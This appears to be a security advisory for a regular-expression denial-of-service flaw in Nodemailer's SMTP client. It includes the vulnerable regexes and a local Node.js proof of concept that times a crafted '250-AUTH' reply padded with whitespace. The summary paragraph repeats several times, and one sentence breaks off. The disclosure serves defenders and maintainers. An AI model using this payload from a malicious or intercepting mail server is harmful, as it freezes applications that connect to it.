CVE-2026-110869

Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.

Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.

Summary

Nodemailer's SMTP client applies four regular expressions to a peer's EHLO response to detect the supported SASL mechanisms. Each pattern uses an alternation with two overlapping whitespace-matching sub-patterns, which produces quadratic (O(n^2)) backtracking whenever the mechanism name is absent from the line. A malicious or MITM SMTP server that answers EHLO with 250-AUTH followed by a long whitespace-only run and a non-matching token blocks the Node.js event loop for tens of seconds to hours during a pre-authentication handshake. No authentication to the target SMTP server is required, and any application that connects to an attacker-influenced host is affected.

Root Cause

Each of the four AUTH mechanism regexes in SMTPConnection._actionEHLO contains the sub-pattern (?:(\s+|=)[^\n]*\s+|\s+|=) before the mechanism literal. [^\n]* and the trailing \s+ both match whitespace and can consume the same characters, so when the mechanism literal is absent, the regex engine must try every partition of the whitespace run between [^\n]* and \s+ before failing. The four regexes run unconditionally on every EHLO response, with no length cap, no shape validation, and no early rejection before the engine enters the ambiguous alternation.

Component: nodemailer (npm), SMTP client
Function:  SMTPConnection._actionEHLO
Location:  src/smtp-connection/index.ts, lines 2162, 2167, 2172, 2177
Patterns:  /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)PLAIN/i
           /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)LOGIN/i
           /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)CRAM-MD5/i
           /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)XOAUTH2/i

Impact

Algorithmic-complexity denial of service against any Node.js process that opens an SMTP connection to an attacker-controlled or attacker-influenced host. Node.js is single threaded, so the process stalls entirely while the regex engine backtracks: no other requests are served, no timers fire, and the built-in socket timeout (10 minutes) cannot interrupt synchronous JavaScript. A 4,000-character whitespace run inside a single continuation line already blocks each regex for tens of seconds; the client bounds a response at 1 MB, which leaves headroom for blocking runs measured in hours across the four patterns. Two realistic attacker positions reach the sink pre-authentication: a hosted mailer that lets tenants configure their own SMTP server, and any network-adjacent attacker able to man-in-the-middle a cleartext SMTP connection (including before STARTTLS negotiation).

Proof of Concept

The PoC exercises the exact four regexes copied from src/smtp-connection/index.ts against a synthesized 250-AUTH<whitespace>NOMATCH line, so no live SMTP server is needed to reproduce the timing.

Runtime:      Node.js >= 20
Dependencies: none
Invocation:   node poc.js

'use strict';

const AUTH_REGEXES = [
    /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)PLAIN/i,
    /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)LOGIN/i,
    /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)CRAM-MD5/i,
    /[ -]AUTH(?:(\s+|=)[^\n]*\s+|\s+|=)XOAUTH2/i,
];

function bench(n) {
    const line = '250-AUTH' + ' '.repeat(n) + 'NOMATCH';
    const start = Date.now();
    for (const re of AUTH_REGEXES) re.test(line);
    return Date.now() - start;
}

for (const n of [500, 1000, 2000, 3000]) {
    console.log(`n=${n}  four-regex time=${bench(n)} ms`);
}

const control = '250-AUTH PLAIN LOGIN CRAM-MD5 XOAUTH2';
const t0 = Date.now();
for (const re of AUTH_REGEXES) re.test(control);
console.log(`well-formed control  four-regex time=${Date.now() - t0} ms`);

n=500   four-regex time=914 ms
n=1000  four-regex time=1348 ms
n=2000  four-regex time=10558 ms
n=3000  four-regex time=35251 ms
well-formed control  four-regex time=0 ms

Doubling the whitespace run multiplies the wall time by roughly four, which matches the expected O(n^2) growth. The well-formed control shows that a normal EHLO response is parsed in effectively…

Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.

Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.

Nodemailer 3.0.0 before 10.0.13 has a regular expression denial of service in SMTPConnection._actionEHLO, whose four AUTH mechanism detection regexes contain overlapping whitespace sub-patterns that backtrack quadratically. A malicious or man-in-the-middle SMTP server can reply to EHLO with 250-AUTH, a long whitespace run and a non-matching token, blocking the Node.js event loop for tens of seconds to hours before authentication.